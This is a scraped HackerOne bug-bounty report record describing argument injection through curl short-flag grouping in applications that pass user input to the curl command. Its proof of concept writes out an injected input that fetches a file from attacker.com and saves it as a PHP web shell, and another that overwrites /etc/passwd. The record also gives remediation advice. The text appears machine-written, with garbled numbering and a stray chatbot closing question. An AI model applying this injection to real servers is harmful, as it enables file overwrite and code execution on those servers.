{“lastseen”:”2026-04-13T07:27:59″,”description”:”This report details how the curl -os command facilitates an Argument Injection vulnerability in applications that wrap the curl command-line tool.\\nThe specific command curl -os \/etc\/passwd –url http:\/\/example.com demonstrates a subtle but dangerous behavior. Because -s (silent) follows -o (output), curl expects the very next string to be the filename.In this scenario:The -o flag consumes the next argument (\/etc\/passwd).The -s flag tells curl to suppress the progress meter and error messages.The –url flag specifies the source of the data.This effectively turns a \\”downloader\\” into a \\”file overwriter.\\”\\n Root Cause Analysis\\nThe root cause is insufficient input validation and the unsafe use of command-line wrappers.Flag Grouping: Like most Unix-style utilities, curl allows \\”short-flag grouping.\\” When a user inputs -os, curl interprets this as two separate flags: -o (output to a file) and -s (silent mode).Missing Delimiters: If an application executes a command like curl $USER_INPUT, it assumes the input will be a URL. However, if the input starts with a dash (-), curl treats it as a command-line argument rather than a string.Shell Interpretation: Many developers use functions like os.system() or exec() which pass a raw string to the system shell, allowing the shell to parse the attacker’s injected flags as if they were part of the original command structure.\\n4. Proof of Concept (PoC)Scenario:\\n A web application allows a user to \\”check if a URL is alive\\” by running a backend command: curl [USER_URL].\\n\\n5.Steps to Reproduce:\\n\\nAttacker Input: \\n1-Instead of a URL,\\n the attacker enters: -os \/var\/www\/html\/shell.php –url http:\/\/attacker.com \\n2- Backend Execution:\\n The server executes the concatenated string:curl -os \/var\/www\/html\/shell.php –url http:\/\/attacker.com Result: curl silently downloads the malicious_script.txt and saves it as shell.php in the web \\n3-rootExploitation: \\nThe attacker navigates to http:\/\/victim.com to execute their code.\\n\\n## Impact\\n\\n## Summary:\\nThe impact of this vulnerability is typically categorized as High to Critical, depending on the environment:Arbitrary File Write: An attacker can use the -o (or –output) flag to write the contents of a URL to any location the application has permission to access.System Defacement\/DDoS: By overwriting .html or .js files, an attacker can deface a website.Remote Code Execution (RCE): By overwriting a .sh script, a crontab, or a .php file in a web directory, an attacker can execute arbitrary code on the server.Data Exfiltration: Using the -F (form) or -d (data) flags, an attacker could redirect sensitive local files to their own remote server\\n5. Remediation \\nRecommendationsPrimary Fix: Use a library (e.g., libcurl for C, requests for Python) instead of calling the system’s curl binary.Argument Separation: If the CLI must be used, use the — separator to tell curl that all following strings are URLs and not flags:Safe: curl — [USER_INPUT]Sanitization: Disallow any input that begins with a hyphen (-) or contains shell metacharacters (;, \\u0026, |).Would you like a Python or Node.js code example showing the \\”safe\\” vs. \\”unsafe\\” way to handle these commands?”,”published”:”2026-04-13T05:18:05″,”modified”:”2026-04-13T07:10:30″,”type”:”hackerone”,”title”:”curl: Argument Injection via curl Short-Flag Grouping”,”source”:””,”references”:””,”id”:”H1:3669305″,”bulletinFamily”:”bugbounty”,”cwe”:null,”cvelist”:[],”sourceData”:””,”sourceHref”:””,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/hackerone.com\/reports\/3669305″,”category_name”:”News”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
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